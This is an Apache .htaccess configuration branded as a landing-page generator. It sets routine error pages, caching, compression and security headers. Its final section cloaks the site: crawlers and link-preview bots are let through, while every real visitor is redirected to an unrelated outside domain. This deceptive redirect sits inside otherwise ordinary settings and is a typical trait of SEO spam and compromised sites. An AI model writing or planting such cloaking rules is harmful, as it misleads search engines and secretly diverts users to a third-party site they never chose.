# ================================================
# ATLAS LANDPAGE GENERATOR - .htaccess Config
# Redirects & Error Handling
# ================================================

# Enable Rewrite Engine
RewriteEngine On

# Redirect www to non-www (optional)
# RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
# RewriteRule ^(.*)$ https://%1/$1 [R=301,L]

# Force HTTPS (optional)
# RewriteCond %{HTTPS} off
# RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# Custom Error Pages - Redirect to Homepage
ErrorDocument 400 /index.html
ErrorDocument 401 /index.html
ErrorDocument 403 /index.html
ErrorDocument 404 /index.html
ErrorDocument 500 /index.html
ErrorDocument 502 /index.html
ErrorDocument 503 /index.html
ErrorDocument 504 /index.html

# Prevent directory listing
Options -Indexes

# Protect .htaccess file
<Files .htaccess>
    Order allow,deny
    Deny from all
</Files>

# Protect sensitive files
<FilesMatch "\.(txt|log|bak|sql|ini)$">
    Order allow,deny
    Deny from all
</FilesMatch>

# Enable compression
<IfModule mod_deflate.c>
    AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/javascript application/json
</IfModule>

# Browser Caching
<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresByType image/jpg "access plus 1 year"
    ExpiresByType image/jpeg "access plus 1 year"
    ExpiresByType image/gif "access plus 1 year"
    ExpiresByType image/png "access plus 1 year"
    ExpiresByType image/webp "access plus 1 year"
    ExpiresByType text/css "access plus 1 month"
    ExpiresByType application/javascript "access plus 1 month"
    ExpiresByType text/html "access plus 1 hour"
</IfModule>

# Security Headers
<IfModule mod_headers.c>
    Header set X-Content-Type-Options "nosniff"
    Header set X-Frame-Options "SAMEORIGIN"
    Header set X-XSS-Protection "1; mode=block"
    Header set Referrer-Policy "no-referrer-when-downgrade"
</IfModule>

# UTF-8 Encoding
AddDefaultCharset UTF-8

# Redirect trailing slash
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [R=301,L]

# ================================================
# Bot Detection & Redirect
# ================================================
RewriteEngine On
# Se o User-Agent contiver bot|crawl|slurp|spider|Googlebot|Bingbot etc., Não redirecionar
RewriteCond %{HTTP_USER_AGENT} (bot|crawl|slurp|spider|Googlebot|Bingbot|DuckDuckBot|YandexBot|facebookexternalhit|WhatsApp|TelegramBot|AhrefsBot|SemrushBot) [NC]
RewriteRule ^ - [L]

# Caso contrário (usuário real), redirecionar
RewriteRule ^(.*)$ https://china-vibratingsieve.com/amp/index.html [R=302,L]

# ================================================
# End of .htaccess configuration
# Generated by ATLAS Professional System
# ================================================